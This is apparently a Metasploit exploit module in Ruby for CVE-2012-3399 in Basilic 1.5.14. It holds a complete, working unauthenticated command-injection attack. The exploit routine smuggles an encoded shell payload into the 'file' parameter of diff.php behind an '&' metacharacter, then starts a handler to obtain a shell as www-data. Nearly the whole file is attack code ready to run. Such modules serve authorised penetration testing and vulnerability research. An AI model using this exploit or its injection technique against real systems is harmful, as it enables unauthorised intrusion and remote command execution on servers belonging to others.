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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
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        'Description' => %q{
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          This module abuses a metacharacter injection vulnerability in the
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          diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
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          commands as the www-data user account.
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        },
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        'Author' => [
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          'lcashdollar',
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          'sinn3r',
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          'juan vazquez'
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2012-3399' ],
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          [ 'OSVDB', '83719' ],
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          [ 'BID', '54234' ]
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        ],
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        'Platform' => %w{linux unix},
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        'Arch' => ARCH_CMD,
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        'Privileged' => true,
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        'Payload' => {
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          'DisableNops' => true,
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          'Compat' =>
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                        {
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                          'PayloadType' => 'cmd',
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                          'RequiredCmd' => 'generic perl ruby python telnet'
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                        }
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        },
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        'Targets' => [
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          [ 'Automatic Target', {}]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2012-06-28',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
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      ]
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    )
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  end
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  def check
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    base = normalize_uri(target_uri.path)
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    sig = rand_text_alpha(10)
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    res = send_request_cgi({
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      'uri' => normalize_uri("/#{base}/Config/diff.php"),
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      'vars_get' => {
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        'file' => sig,
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        'new' => '1',
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        'old' => '2'
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      }
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    })
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    if res and res.code == 200 and res.body =~ /#{sig}/
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      return Exploit::CheckCode::Vulnerable
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    print_status("Sending GET request...")
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    base = normalize_uri(target_uri.path)
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    res = send_request_cgi({
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      'uri' => normalize_uri("/#{base}/Config/diff.php"),
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      'vars_get' => {
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        'file' => "&#{payload.encoded} #",
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        'new' => '1',
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        'old' => '2'
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      }
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    })
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    if res and res.code == 404 then
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      print_error("404 Basilic not installed or possibly check URI Path.")
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    else
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      vprint_line("Server returned #{res.code}")
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    end
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    handler
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  end
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end
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